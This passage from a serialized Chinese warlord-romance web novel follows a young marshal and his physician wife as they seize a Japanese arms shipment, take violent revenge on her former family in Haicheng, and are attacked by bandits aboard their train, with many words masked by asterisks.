“蛇鼠一窝。”独眼龙回了一句切口,随即露出了贪婪的笑容,“田中先生,货都齐了吗?”
“都在车上。”日本特务挥了挥手,“三千支三八大盖,五十挺轻**,还有十门迫击炮。这是大日本帝国送给张大帅的‘见面礼’。”
“好!太好了!”独眼龙搓着手,兴奋得两眼放光,“有了这批货,咱们大帅就能趁着那个姓陆的小子度蜜月的时候,直捣他的老巢北城!”
“是吗?”
一道慵懒而讥诮的声音,突然在头顶的夜空中炸响。
“没想到张大帅这么惦记我,连我度蜜月都不让人省心。”
独眼龙和日本特务猛地抬头,只见调度室的探照灯“唰”的一声亮起,刺眼的光柱瞬间将他们笼罩其中,照得他们无所遁形。
光柱中心,陆淮锦站在二楼栏杆旁,居高临下地俯视着这群蝼蚁,手里那把**在灯光下闪烁着寒芒。
“陆……陆淮锦?!”
独眼龙吓得魂飞魄散,差点没站稳,“你……你怎么会在这里?!”
“这里是徐州,是老子的防区。”
陆淮锦冷笑一声,“在我的地盘上搞小动作,也不问问我答不答应?”
“八嘎!中计了!快撤!”日本特务反应极快,拔枪就要射击。
然而,已经晚了。
“哗啦——”
四周原本堆放着的“粮垛”和“木箱”突然被掀开,无数身穿灰绿色军装的陆家军士兵如同潮水般涌出。
房顶上、火车顶上、甚至铁轨两侧的排水沟里,密密麻麻全是黑洞洞的枪口。
三十挺马克沁重**早已架好,冰冷的**锁**每一个角落。
“不许动!缴枪不杀!”
宋副官带着警卫营从正面压了上来,气势如虹。
这就是绝对的兵力压制。
面对这天罗地网,那十几个日本特务和奉系接头人简直就像是掉进狼群的小绵羊,连反抗的勇气都没有。
“别……别开枪!我们投降!”
独眼龙第一个扔掉了手里的枪,抱头跪在地上。那些日本特务虽然想做困兽之斗,但在重**的威慑下,也只能咬牙切齿地举起了双手。
兵不血刃。
陆淮锦牵着沈晚清的手,从二楼缓缓走下。
他走到那个日本特务面前,用**挑起对方的下巴:
“回去告诉佐藤,还有那个躲在奉天的张老头。”
陆淮锦的眼神森寒,“这批货,我陆淮锦笑纳了。算是他们给我补交的……新婚贺礼。”
“你……这是**!”日本特务气得浑身发抖,“这是外交事件!”
“外交?”
陆淮锦嗤笑一声,“走私**,意图颠覆,我没把你们当场**已经是给足了面子。滚!”
宋副官上前一脚将特务踹翻:“带走!关进大牢,饿他们三天!”
处理完这群杂碎,陆淮锦转身走向那列伪装的货车。
“晚晚,来看看咱们的战利品。”
他一挥手,几名士兵上前,用刺刀撬开了第一节车厢的木门。
“哐当!”
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沉重的车门滑开。
借着探照灯的光芒,只见车厢里密密麻麻地堆满了草绿色的长条木箱。
宋副官撬开其中一个箱子,露出了里面整整齐齐、涂满枪油的崭新**。
“好家伙!全是日本造的三八式!”宋副官激动得声音都在颤抖,“少帅,这批货要是装备给咱们的警卫旅,战斗力至少翻一番啊!”
沈晚清走上前,拿起一支**看了看,又走到后面几节车厢查看。
除了**,还有成箱的**、**,甚至还有几门崭新的野战炮。
“这一车**,价值至少五十万大洋。”
沈晚清迅速估算出了价值,转头看向陆淮锦,眼中闪过一丝笑意,“少帅,这把子肉还没吃上,倒是先发了一笔横财。”
“这才哪到哪。”
陆淮锦拿起一支**,熟练地拉栓、瞄准,然后满意地放下,“有了这批家伙,我看张老头还敢不敢在边界嘚瑟。”
他看着这满车的**,心中那口恶气终于出了大半。
日本人想用这批枪打他?
做梦!
现在,这批枪将变成射向敌人的**。
“宋副官!”陆淮锦下令,“把车头换成咱们的人,连夜把这列车开回北城大本营!记住,一定要隐蔽,别让南京那边抓到把柄。”
“是!”
安排完一切,陆淮锦转过身,看着身边的沈晚清。
夜风吹乱了她的发丝,却吹不散她眼底的从容。
“累吗?”他替她理了理鬓角。
“不累。”沈晚清摇摇头,“这种看着敌人吃瘪的感觉,比睡觉还解乏。”
陆淮锦笑了,一把将她搂进怀里。
“事情办完了,咱们该继续赶路了。”
他指了指铁轨的另一端,那里通向南方,通向那座他们曾经相遇、相知,又充满回忆的城市。
“下一站,海城。”
陆淮锦的声音变得温柔起来,“带你回家,看看阿福,顺便……把咱们那个济世堂的分号,再开大一点。”
随着一声新的汽笛长鸣,截获了**的陆家军满载而归,而那列属于他们的蓝钢快车,也重新启动,迎着黎明的曙光,继续向南疾驰。
徐州的夜,重新归于平静。
但这平静之下,却是因为这批**的易主,而即将引发的整个北方格局的剧烈震荡。
第73章 抵达海城
随着一声悠长而疲惫的汽笛声,蓝钢快车缓缓驶入了那个熟悉的站台。
车门打开,一股混合着黄浦江湿气、煤烟味和玉兰花香的空气扑面而来。这是海城特有的味道,也是沈晚清记忆深处最复杂的味道。
她站在车厢门口,看着眼前熙熙攘攘的人群。
几个月前,她是从这里狼狈登车,带着对未来的迷茫和对陆淮锦的一纸契约北上。而现在,她身穿华贵的狐裘,身后站着那个统御北六省的男人,以一种胜利者、甚至是征服者的姿态,重新踏上了这片土地。
“冷吗?”
一件带有体温的军用披风轻轻落在她的肩头。陆淮锦从身后拥住她,目光警惕地扫视着四周,即使是在这看似繁华的租界,他依然保持着战时的警觉。
“不冷。”
沈晚清摇摇头,嘴角勾起一抹淡淡的笑,“只是觉得……这海城的天,好像比我们走的时候,更阴沉了。”
“阴沉是因为有脏东西。”
陆淮锦牵起她的手,走下踏板,“别担心,这次回来,咱们就是来大扫除的。”
站台外,康德海会长早已带着商会的几位大佬恭候多时。见到陆少帅和少夫人现身,康会长那张圆润的脸上立刻堆满了真诚的笑容,快步迎了上来。
“少帅!少夫人!盼星星盼月亮,可算把二位盼回来了!”
康德海拱手作揖,语气里透着一股子久别重逢的热络,甚至还有几分找到了主心骨的激动,“自从您二位走后,这海城的天……唉,真是一言难尽啊!”
“康会长,叙旧的话待会儿再说。”
沈晚清没有心情寒暄,她甚至没有上那辆准备好的豪华轿车,而是目光急切地看向城南的方向,“我想先去济世堂。”
康德海愣了一下,随即叹了口气,挥手招来一辆黑色的防弹车:“明白,明白。少夫人重情义,阿福那孩子……确实受苦了。”
……
城南,老街。
车队穿过繁华的法租界,驶入了相对破败的华界。
路边的景象让沈晚清的眉头越皱越紧。
仅仅几个月不见,这里变得更加萧条了。很多熟悉的店铺都关了门,墙上贴满了日本仁丹的广告和所谓“大东亚共荣”的标语。街上巡逻的不再只是巡捕,竟然还多了许多穿着木屐、腰挎**的日本浪人,横行霸道,路人敢怒不敢言。
“日本人现在的势力渗透得很快。”
陆淮锦看着窗外,手指轻轻敲击着膝盖,眼中闪过一丝杀意,“看来南京那帮软骨头,为了借款,把海城的底裤都卖得差不多了。”
车子终于在老街的尽头停下。
沈晚清推开车门,第一眼看到的,就是那块她亲手挂上去、又被康会长重新描金的牌匾——“济世堂”。
只是此刻,那块金字招牌上被泼了**血,甚至还留下了几道深深的刀痕,显得格外凄凉。
原本整洁的门面被砸得破烂不堪,窗户玻璃碎了一地,用木板勉强钉着。
门口冷冷清清,只有几个衣衫褴褛的乞丐蜷缩在台阶下,手里握着打狗棒,警惕地盯着每一个过路的人。
“谁?!干什么的?!”
领头的乞丐猛地跳起来,举起棍子就要吼,却在看清下车人的瞬间,整个人僵住了。
“沈……沈神医?!”
那乞丐揉了揉眼睛,随即扔掉棍子,发疯一样冲着门里大喊:
“赵大哥!阿福!快出来啊!恩人回来了!东家回来了!!”
这一嗓子,喊破了音,带着无尽的委屈和惊喜。
“哐当!”
济世堂那扇半掩的破门被人从里面撞开。
两个身影跌跌撞撞地冲了出来。
冲在最前面的正是赵龙。这个曾经像铁塔一样的汉子,此刻左臂吊着绷带,脸上还有一道新添的刀疤,看起来狰狞可怖。
而跟在他身后的阿福……
沈晚清的心猛地揪紧了。
那个曾经机灵爱笑、总是喊着“东家”的小伙计,此刻头上缠着厚厚的纱布,隐隐渗出血迹,走路还有些一瘸一拐。他瘦了一大圈,眼窝深陷,原本合身的长衫空荡荡地挂在身上。
“东家……”
阿福看到沈晚清,嘴唇哆嗦着,眼泪“哗”地一下就流了下来。
他想要跑过来,却因为腿脚不便踉跄了一下,差点摔倒。
沈晚清快步上前,一把扶住他。
“阿福,我回来了。”
她的声音有些哽咽,看着阿福头上的伤,手指都在微微颤抖,“谁打的?”
“东家……呜呜呜……您可算回来了……”
阿福像是受了天大委屈的孩子终于见到了家长,抓着沈晚清的袖子嚎啕大哭,“他们……他们欺人太甚!那个大和医馆的人,不仅抢咱们的生意
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,还硬说咱们的药是假药……我想跟他们讲理,他们就拿**砸我的头……”
“还有赵大哥……”阿福指着旁边的赵龙,“为了护着药柜,被那个日本浪人砍了一刀……”
赵龙是个硬汉,虽然眼圈也红了,但还是强撑着笑道:“沈小姐,俺没事,皮外伤!只要您回来了,咱们就有主心骨了!”
陆淮锦站在一旁,看着这一幕,脸色阴沉得能滴出水来。
他走到赵龙面前,看了一眼那道深可见骨的刀伤,又看了看满目疮痍的济世堂。
“这就是你们说的‘护住了’?”
他的声音很冷,带着一种恨铁不成钢的怒气。
赵龙羞愧地低下头:“少帅……俺们没用……日本人有枪,还有巡捕房护着,俺们丐帮只有棍子……”
“不怪他们。”
沈晚清转过身,挡在赵龙和阿福面前。
她看着陆淮锦,眼中的泪水已经收了回去,取而代之的是一种比冰雪还要寒冷的彻骨恨意。
“他们已经尽力了。怪只怪……敌人太猖狂。”
沈晚清轻轻摸了摸阿福的头,就像当初离开时那样。
“阿福,别哭了。”
她从怀里掏出那块手帕,替他擦干眼泪,语气平静得让人害怕:
“把眼泪擦干。记住,从今天起,济世堂的人,不许再流一滴眼泪。”
“他们砸了我们一块招牌,我就拆了他们十座医馆。”
“他们伤了你一条腿,我就要他们拿命来赔。”
她转头看向街道对面。
就在济世堂的正对面,一家装修得富丽堂皇、挂着膏药旗的“大和医馆”正开着门。几个穿着和服的浪人正站在门口,对着这边指指点点,发出刺耳的嘲笑声。
“陆淮锦。”
沈晚清没有回头,只是轻声唤道。
“在。”
陆淮锦上前一步,与她并肩而立,那双深邃的眸子里同样燃烧着复仇的火焰。
“我想……**。”
“好。”
陆淮锦从腰间拔出那把刚在徐州饮过血的勃朗宁,慢条斯理地拉动**,嘴角勾起一抹残忍的弧度:
“那就从对面那家开始。”
“今晚,咱们就给这海城,换换天。”
夕阳如血,将两人的影子拉得很长,像是一把即将斩落的利剑,直指那罪恶的深渊。
海城,我们回来了。
第74章 故人相见
夜幕降临,华灯初上。
这里是海城著名的“书寓”一条街,曾经是文人雅士流连的地方,如今却鱼龙混杂,成了低等舞女和流莺的**地。
一辆黑色的防弹轿车缓缓穿过拥挤的人群。
车内,陆淮锦正拿着一块手帕,仔细地擦拭着手中那把**,眼神专注而冷漠。沈晚清坐在他身旁,透过车窗,看着窗外那些浓妆艳抹、在寒风中瑟瑟发抖招揽客人的女子,神色淡然。
“大和医馆就在前面的路口。”
沈晚清收回目光,“日本人把医馆开在这个地方,名为治病,实则是为了给这些风尘女子‘看病’,顺便贩卖那种加了料的‘**’。”
“那正好。”
陆淮锦吹了**口的浮尘,“一锅端了,省事。”
就在车子即将拐弯的时候,前方突然传来一阵嘈杂的争吵声。
“滚开!没钱还想摸老娘?穷鬼!”
一个尖利刺耳的女声响起。
只见一个穿着开叉开到大腿根的艳俗旗袍、脸上涂着厚厚脂粉的女人,被人从一家下等舞厅里推了出来,踉踉跄跄地摔在路边的脏水坑里。
“呸!也不撒泡尿照照自己!都这把年纪了还装什么清倌人!”几个地痞指着她骂骂咧咧。
那女人狼狈地爬起来,顾不上擦去身上的泥水,正好看到了停在路边的这辆豪华轿车。
在这个地界,能坐这种车的人,非富即贵。
女人眼中瞬间闪过一丝贪婪的光芒。她理了理凌乱的头发,挤出一个极其谄媚的笑容,扭着腰肢走了过来,扒住了半开的车窗。
“先生……这大冷天的,一个人寂寞吗?”
一股廉价的香水味混合着脂粉气扑面而来。
那女人将半个身子探向车窗,试图展示自己并不怎么白皙的胸口,声音嗲得让人起鸡皮疙瘩:
“我是‘红玫瑰’的头牌……只要两块大洋,今晚我就是您的……”
她的目光贪婪地落在坐在靠窗位置的陆淮锦脸上。
虽然车内光线昏暗,看不清男人的脸,但那俊美无俦的侧脸和那一身贵气的军装,还是让她看直了眼。
极品!
这绝对是个有钱又有权的大军阀!要是能攀上他……
“滚。”
陆淮锦连头都没抬,只是厌恶地皱了皱眉,声音冷得像是冰渣子。
那女人愣了一下,显然没料到对方这么不给面子。她不甘心地还要纠缠:“哎哟,先生别这么凶嘛……人家以前也是大户人家的小姐,琴棋书画样样精通……”
“大户人家的小姐?”
一直坐在阴影里的沈晚清,突然轻笑了一声。
她微微侧头,露出了那张清冷绝美的脸庞。
“沈雨柔,半年不见,你的琴棋书画,就是学会了怎么在大街上拉客吗?”
听到这个熟悉到骨子里的声音,扒着车窗的女人浑身一僵。
她猛地瞪大了眼睛,死死盯着沈晚清的脸,脸上的表情从谄媚变成了惊愕,又从惊愕变成了极度的扭曲和嫉妒。
“沈……沈晚清?!”
沈雨柔尖叫出声,声音因为激动而变得破音,“是你?!你这个**!你怎么会在这里?!”
她看着车里光鲜亮丽、一身贵气的沈晚清,再看看自己这一身沾满泥水的廉价旗袍,巨大的落差感让她瞬间发了疯。
“是你害了我!是你!”
沈雨柔像个泼妇一样,伸出枯瘦的手爪想要去抓沈晚清的脸,“如果不是你,我现在还是沈家二小姐!如果不是你,志远哥也不会变成残废!我要杀了你!我要撕烂你的脸!”
她这半年过得生不如死。父亲坐牢,沈志远残废,家产被抄,她为了活下去,只能沦落风尘,每天在这风尘之地讨生活。
而这一切的罪魁祸首,此刻却坐在豪车里,高高在上地看着她!
“找死。”
还没等她的手碰到沈晚清,一直沉默的陆淮锦动了。
他并没有用枪。
因为这脏东西不配费他的**。
车门猛地推开。
“砰!”
一声闷响。
陆淮锦那只穿着黑色马靴的长腿,狠狠地踹在了沈雨柔的心窝上。
“啊——!!”
沈雨柔惨叫一声,整个人像个破布娃娃一样倒飞出去,足足飞了三四米远,重重地砸在路边的垃圾堆里,激起一片尘土。
“咳咳……噗……”<
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br>她捂着胸口,吐出一口酸水,疼得蜷缩成一只虾米,半天爬不起来。
陆淮锦走下车,站在车门边,慢条斯理地整理了一下裤脚,眼神冰冷地俯视着垃圾堆里的女人。
“看来上次给你的教训还不够。”
他的声音不高,却透着一股令人窒息的杀意。
沈雨柔惊恐地抬起头,这才看清这个男人的正脸。
那张脸,是她无数次在噩梦中见过的——那个打断了沈志远的一条腿的活阎王!
“陆……陆少帅……”
沈雨柔吓得魂飞魄散,刚才那股疯劲儿瞬间烟消云散,只剩下无尽的恐惧。
“少帅饶命……我错了……我有眼无珠……”她趴在垃圾堆里,拼命磕头。
“晚晚。”
陆淮锦没有理会这只蝼蚁,而是转身向车内伸出手,“下来看看,这就是你要见的‘故人’?”
沈晚清搭着他的手,优雅地走下车。
她并没有靠近,只是站在几步之外,静静地看着那个曾经不可一世、如今却卑贱如泥的继妹。
前世,沈雨柔穿着巴黎的高定,踩着她的尸骨上位。今生,她穿着狐裘,看着沈雨柔在泥潭里挣扎。
“沈雨柔。”
沈晚清淡淡开口,“我本来不想理你。但既然你撞上来了,我就告诉你一个好消息。”
她指了指前方不远处那家挂着膏药旗的“大和医馆”。
“你的那位老相好,沈志远,听说现在就在那家医馆里给日本人当狗,靠着出卖同胞换口饭吃。”
“我们要去清理门户了。你要是有兴趣,可以爬过去,给他收个尸。”
说完,她挽起陆淮锦的手臂,不再多看一眼。
“走吧,少帅。别让这种人坏了心情。”
“好。”
陆淮锦揽着她,转身向大和医馆走去。
只留下沈雨柔一个人瘫在垃圾堆里,看着两人如神仙眷侣般的背影,发出一声绝望而凄厉的哭嚎。
她知道,她这辈子,彻底完了。
她连嫉妒的资格都没有了,因为她和沈晚清之间,已经隔着云泥之别。
寒风卷过,将她的哭声淹没在福州路的喧嚣中,再无人理会。
第75章 清理门户
大和医馆。这家开在风月场边的医馆,此刻正灯火通明。
虽然挂着“悬壶济世”的牌子,但空气中却弥漫着一股甜腻的**味和令人作呕的血腥气。门口站着几个即使在寒夜里也敞着怀、腰挎**的日本浪人,正凶神恶煞地驱赶着几个来**的病人家属。
“滚!用了我们的药**是你们命不好!”
浪人一脚将一个抱着孩子尸体的老妇人踹下台阶,哈哈大笑。
“砰!”
一声枪响,笑声戛然而止。
那名浪人的眉心出现了一个血洞,脸上的狞笑凝固,直挺挺地向后倒去。
“谁?!”
其他的浪**惊失色,纷纷拔刀。
街道尽头,陆淮锦收起还在冒烟的枪,甚至懒得看一眼尸体。他大步流星地走来,身后黑压压的一片,全是全副武装的警卫营士兵。
“杀。”
陆淮锦只吐出一个字。
没有废话,没有谈判。
对于这种在大街上公然行凶的侵略者,唯一的语言就是**。
“哒哒哒——”
**的火舌瞬间吞没了门口的几个浪人。鲜血染红了“大和医馆”的招牌。
“冲进去!把里面的人都给我拖出来!”宋副官一挥手,士兵们如狼似虎地冲进了医馆。
……
医馆后堂,密室。
这里是“大和医馆”真正的核心业务所在——不是治病,而是分装假药和**。
沈志远正坐在一张堆满瓶瓶罐罐的桌子前。
他此时的样子,早已没了当年的半点斯文。他穿着一件不合身的和服,头发稀疏,满脸油光,那条断了的腿此时正架在板凳上。他手里拿着一个漏斗,正小心翼翼地把一些白色的粉末灌进印着“青霉素”字样的小瓶子里。
“快点干!这批货明天就要发往南京!”
他手里拿着鞭子,抽打着旁边几个被抓来的苦力童工,“谁要是敢偷懒,老子把他剁了喂狗!”
他现在是这里的“管事”,虽然只是日本人的一条狗,但在这些苦力面前,他依然觉得自己是人上人。
“砰!”
密室的门被一脚踹飞。
沈志远吓得手一抖,那一瓶“假药”全撒在了裤裆上。
“谁?!太君不是说了没人敢查这里吗?”他骂骂咧咧地抬起头。
然而,当他看清门口站着的两个人时,手中的鞭子“啪嗒”一声掉在了地上。
沈晚清穿着那件华贵的狐裘,站在门口,目光冷漠地看着他,就像是在看一只阴沟里的臭虫。
而在她身边,那个如同修罗般的男人,正用一种看**的眼神盯着他。
“沈……晚清?陆……陆……”
沈志远浑身筛糠,想要从椅子上站起来逃跑,但那条残腿根本使不上力,整个人狼狈地摔在地上,打翻了一桌子的假药粉末。
他满身白灰,像个滑稽的小丑。
“沈志远,这就是你的‘大好前程’?”
沈晚清走进来,脚下的高跟鞋踩在那些散落的假药瓶上,发出清脆的碎裂声。
她拿起桌上的一个瓶子,闻了闻,眼中闪过一丝彻骨的寒意:
“石灰粉,加上一点**。这就是你卖给老百姓的救命药?”
“你知道这东西打进血管里会怎么样吗?那是栓塞!是剧痛!是活活疼死!”
沈晚清的声音在颤抖,不是因为害怕,而是因为愤怒。
作为医生,她最恨的就是这种利用病人求生欲来谋财害命的畜生。
“我……我没办法……”
沈志远在地上向后爬,涕泪横流,“我要吃饭……我要活着……晚清,念在咱们夫妻一场的份上……”
“夫妻?”
沈晚清冷笑,“你不配提这两个字。”
“前世你害我性命,夺我家产。今生你勾结日寇,贩卖**,残害同胞。”
“沈志远,你的罪,罄竹难书。”
她转过身,不再看他一眼,对陆淮锦说道:
“少帅,这种人,留着也是浪费空气。”
陆淮锦点了点头。
他走到沈志远面前,并没有用枪。
“你不是喜欢
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给日本人当狗吗?”
陆淮锦一脚踩在沈志远那条好腿的膝盖上,脚下用力。
“咔嚓!”
骨骼碎裂的声音在密室里回荡。
“啊——!!!”
沈志远发出杀猪般的惨叫,疼得在地上打滚,两眼翻白。
“既然是狗,那就只能爬着。”
陆淮锦面无表情,“把这里烧了。把他和这些害人的假药,一起留在这儿。”
“不!不要!我是沈家大少爷!我是留洋博士……”
沈志远疯了一样大喊,但在熊熊燃起的大火面前,他的声音显得那么微不足道。
宋副官带着人泼洒煤油。
火光冲天而起。
沈晚清和陆淮锦走出大和医馆。
身后的建筑在烈火中坍塌,连同里面的罪恶、贪婪,以及沈志远这个前世的噩梦,一同化为了灰烬。
街对面。
阿福和赵龙扶着受伤的身体,看着那冲天的大火,激动得热泪盈眶。
“报仇了!东家给咱们报仇了!”
沈晚清走到他们面前,看着这两个即便身受重伤也没有退缩的忠仆。
“阿福,赵大哥。”
她从怀里掏出一张崭新的银票,塞到阿福手里,“拿着这些钱,把济世堂修好。以后,谁要是再敢来找麻烦……”
她指了指身后那片废墟,眼神坚定:
“这就是下场。”
“是!东家!”
风卷起地上的灰烬。
沈晚清深深吸了一口海城湿润的空气。
这一次,是真的结束了。
所有的恩怨,所有的纠葛,都在这把火里烧得干干净净。
“走吧。”
陆淮锦揽住她的肩膀,“火车还在等我们。”
“这次回北城,路还很长。”
沈晚清点了点头,依偎在他怀里。
“有你在,我不怕路长。”
两人上了车。
车队再次启动,向着火车站驶去。
而在他们身后,海城的夜空中,那把清理门户的大火,烧红了半边天,也烧亮了未来的路。
第76章 启程回北
随着一声凄厉的汽笛长鸣,巨大的黑色蒸汽机车喷吐出滚滚白烟,像是要将海城这几日发生的所有血腥与恩怨,都随着这股烟雾抛在脑后。
著名的“蓝钢快车”再次启动。
这列当时中国最豪华的专列,在月台昏黄的灯光下闪烁着幽冷的光泽。它像是一座移动的钢铁堡垒,载着它的主人,即将穿越半个中国,返回北方的权力中心。
一号豪华包厢。
车窗外的景物开始缓缓**,海城的万家灯火逐渐远去,最终变成了一条条流动的光带。
沈晚清靠在天鹅绒的软榻上,看着窗外,长长地舒了一口气。
“怎么?舍不得?”
陆淮锦端着两杯红酒走过来,递给她一杯,顺势在她身边坐下,手臂自然地搭在她的肩头。
“不是舍不得。”
沈晚清摇晃着酒杯,看着猩红的酒液挂在杯壁上,“是觉得……像做了一场梦。来的时候,心里压着石头;走的时候,石头碎了,心里反倒空落落的。”
大仇得报,前世的梦魇沈志远和沈雨柔都已灰飞烟灭。济世堂也交给了阿福重新打理,还留下了足够的资金和**防身。
她在海城的一切牵挂,都已了结。
“空落落的?”
陆淮锦挑眉,放下酒杯,修长的手指捏住她的下巴,强迫她转过头看着自己。
“看来是为夫做得还不够好,没把夫人的心填满?”
他凑近她,鼻尖相抵,声音低沉暧昧,“要不……咱们现在就把窗帘拉上,做点能填满心的事?”
“正经点。”
沈晚清脸一红,推了他一把,“还在车上呢。宋副官还在隔壁。”
“在车上怎么了?这整列车都是我的。”
虽然嘴上这么说,陆淮锦还是坐直了身体,将她揽入怀中,让她找了个舒服的姿势靠着。
“睡会儿吧。”
他替她盖上一条羊毛毯,“这一路回去要两天两夜。过了江苏,进了山东地界,路就没这么平了。”
“山东?”
沈晚清敏锐地捕捉到了这个地名,“听说那边最近不太平?”
“嗯。”
陆淮锦眼底闪过一丝阴霾,原本轻松的神色收敛了几分,“直系军阀虽然控制了山东,但他们只顾着搜刮民脂民膏,导致那里土匪横行。尤其是临城一带,那是著名的‘响马’窝,听说最近出了个叫‘孙美瑶’的土匪头子,连洋人的货车都敢劫。”
“连洋人都敢劫?”沈晚清有些惊讶。在这个时代,洋人就是特权的代名词,普通土匪见了都要绕道走。
“光脚的不怕穿鞋的。”
陆淮锦冷笑一声,摸了摸腰间的枪,“不过,借他们十个胆子,也不敢动我的专列。这车上除了你我,还拉着整整一个警卫连,外加从徐州缴获的那批重武器。”
“谁要是敢来,那就是送死。”
他的语气狂傲而自信。
作为统御北六省的少帅,他有这个资本自信。在他的认知里,土匪不过是一群乌合之众,几挺**就能扫平。
然而,正是这份自信,让他忽略了这乱世中最大的变数——疯子。
……
夜深,列车中段。
沈晚清已经沉沉睡去。
陆淮锦却没有睡。他披着大衣,独自走到包厢外的走廊上,点燃了一支雪茄。
窗外是一片漆黑的荒野。
列车正在全速前进,铁轨撞击的“哐当、哐当”声有节奏地回响着。
“少帅。”
宋副官巡视完车厢走过来,压低声音汇报,“前面就是津浦路最险要的的一段——临城岗。过了这里,就是平原了。”
“警戒哨安排好了吗?”陆淮锦吐出一口烟圈。
“安排好了。车头、车尾都有双岗。**手也都在位。”宋副官答道,“不过……”
“不过什么?”
“不过前面的信号灯有点奇怪。”宋副官指了指窗外,“按照时刻表,前方五公里处应该有
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个维护站,会有绿灯信号。但这都开了十分钟了,前面还是一片黑。”
陆淮锦夹着雪茄的手指微微一顿。
作为一名身经百战的指挥官,他对危险有着一种近乎野兽般的直觉。
信号灯灭了?
在这个战乱年代,铁路信号灯故障是常有的事。但偏偏是在临城这个土匪窝附近?
“让司机减速。”
陆淮锦果断下令,掐灭了手中的雪茄,“通知警卫连,全员一级战备!打开探照灯!”
“是!”宋副官神色一肃,转身跑向车头。
然而,就在命令刚刚下达的瞬间。
“吱——!!!”
一阵刺耳到令人牙酸的急刹车声骤然响起!
巨大的惯性让整列车厢猛地一震,车轮在铁轨上剧烈摩擦,爆出耀眼的火花。
“轰!”
紧接着,一声巨响从车头方向传来。
不是**,而是撞击!
巨大的冲击力让陆淮锦整个人撞在了走廊的墙壁上。
“晚晚!”
他顾不上疼痛,第一时间转身冲回包厢。
包厢里,沈晚清已经被甩到了地毯上,正捂着额头,一脸茫然和惊恐。
“出什么事了?”
“停车了。”
陆淮锦一把将她拉起来,护在身后,迅速拔出双枪,眼神锐利如刀。
他看向窗外。
原本漆黑一片的荒野上,突然亮起了无数支火把,密密麻麻,如同鬼火般从四面八方涌向列车。
伴随着火把的,还有杂乱而疯狂的喊杀声和**的轰鸣声。
“弟兄们!大肥羊来啦!”“劫车!劫车!”
陆淮锦的脸色瞬间沉到了谷底。
他最担心的事情还是发生了。
这里是临城。
而包围他们的,是号称拥有数千人马、连正规军都不放在眼里的——山东建国自治军。
一场震惊中外的“临城劫车案”,就在这个寒冷的深夜,毫无征兆地爆发了。
第77章 暴风雨前
“砰!砰!砰!”
窗外的**密集如雨,**击打在全钢打造的车厢壁上,发出令人牙酸的“叮当”声,溅起一串串耀眼的火花。
车厢内的水晶吊灯剧烈摇晃,忽明忽暗的灯光映照着每个人紧绷的脸。
“趴下!别抬头!”
陆淮锦一手按着沈晚清的头,将她护在真皮沙发后的死角里,另一只手举着驳壳枪,对着窗外晃动的人影就是两枪。
“啊——!”
窗外传来两声惨叫,紧接着是重物坠地的声音。
“少帅!顶不住了!”
宋副官满脸是血地从前车厢滚了进来,声音嘶哑,“这帮土匪疯了!他们不是几十个人,是漫山遍野!我看清楚了,那是‘山东建国自治军’的旗号,领头的是孙美瑶!他们至少有三千人!”
“三千人?”
陆淮锦眼神一凛,心瞬间沉到了谷底。
他的警卫连虽然装备精良,但满打满算只有一百二十人。再加上从徐州缴获的武器还没来得及完全列装,大炮都在后面的货车厢里,根本拿不出来。
在这前不着村后不着店的荒野上,一百人对三千人,这就是死局。
“把所有的窗户封死!架起**!只要敢靠近十米以内,格杀勿论!”
陆淮锦迅速下达命令,展现出极高的军事素养,“发报员呢?给临城驻军发电报没有?”
“发了!但是……”宋副官咬牙切齿,“电报发出去了,没人回!这帮直系的驻军估计早就跟土匪穿一条裤子了,故意装聋作哑!”
果然。
在这乱世,人心比土匪更可怕。
“轰——!!”
一声巨大的**声从车尾传来。
整列火车猛地一震,沈晚清感觉耳膜都要被震碎了。
“他们炸了尾车!那是我们的**库!”沈晚清脸色苍白,但依然保持着冷静,手里紧紧握着陆淮锦给她的那把小巧的勃朗宁。
“这是在**。”
陆淮锦透过破碎的窗帘缝隙,看着外面冲天的火光,“他们在逼我们投降。”
此时的窗外,已经变成了修罗场。
无数举着火把的土匪像蝗虫一样,密密麻麻地包围了列车。他们扒掉了铁轨,炸毁了路基,把这列象征着文明与权力的蓝钢快车,困成了一座钢铁孤岛。
“里面的肉票听着!”
外面传来了一个粗狂嚣张的声音,通过铁皮喇叭传进车厢,“老子是孙美瑶!只要钱,不要命!乖乖把枪交了,把财物献出来,老子放你们一条生路!要是敢反抗,老子就泼煤油,把你们做成铁板烧!”
“做梦。”
陆淮锦冷哼一声,将最后一颗**压入**。
他转过身,看着缩在角落里的沈晚清。
刚才的从容与霸气,在看向她的那一瞬间,化作了无尽的愧疚与心疼。
“晚晚。”
他蹲下身,伸出手,用大拇指轻轻擦去她脸颊上沾染的一点灰尘。
“怕吗?”
“不怕。”
沈晚清握住他的手,指尖冰凉,但眼神坚定,“你是少帅,我是少帅夫人。大不了……就是一死。”
“不,你不能死。”
陆淮锦摇摇头,眼底闪过一丝决绝的疯狂,“我可以死在这里,但你必须活着。”
他突然转头看向宋副官:
“宋虎!”
“到!”
“带上警卫连最精锐的一个排,集中火力打穿车头方向的包围圈!那里是他们防守最薄弱的地方!”
陆淮锦语速极快,不容置疑,“带着夫人突围!哪怕是你们全死光了,也要把她给我送出去!”
“少帅?!”
宋副官和沈晚清同时惊呼。
“我不走!”沈晚清一把抓住他的衣领,手指用力到发白,“陆淮锦,你说过要生死相随的!你要我当逃兵?!”
“这不是当逃兵,这是留火种!”
陆淮锦第一次冲她吼了起来,双眼赤红,“他们要抓的是我!是陆家军的少帅!只要我在这里吸引火力,他们就不会死追着你不放!你走了,我才没有后顾之忧!”
“我不听!我不听!”
沈晚清拼命摇头,眼泪终于夺眶而出,“要死一起死!我沈晚清绝不独活!”
“听话!”
陆淮锦猛地将她抱进
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怀里,狠狠地吻上了她的唇。
这个吻,带着血腥味,带着**味,带着生离死别的绝望与凄凉。
“砰!砰!砰!”
车厢的铁门传来了剧烈的撞击声。土匪们开始用铁锤和**破门了。
那是死神的敲门声。
陆淮锦松开沈晚清,眼神瞬间变得冷酷。他一把将她推给宋副官。
“带她走!这是军令!”
“是!”宋副官含泪敬礼,上来就要强行拉走沈晚清。
“陆淮锦!你混蛋!”
沈晚清挣扎着,哭喊着,却抵不过宋副官的力气。
就在这时。
“轰隆——!!!”
一声比刚才还要剧烈的**声,直接在头顶炸响。
并不是土匪炸开了门,而是……土匪炸塌了车厢顶!
巨大的钢板扭曲变形,带着滚滚浓烟和碎石砸落下来,正好砸在了一号包厢的中央,将陆淮锦和沈晚清、宋副官硬生生隔开。
烟尘弥漫中,无数土匪像下饺子一样从破洞里跳了下来。
“抓住了!这就是那个少帅!”“还有个娘们儿!真漂亮!大当家的肯定喜欢!”
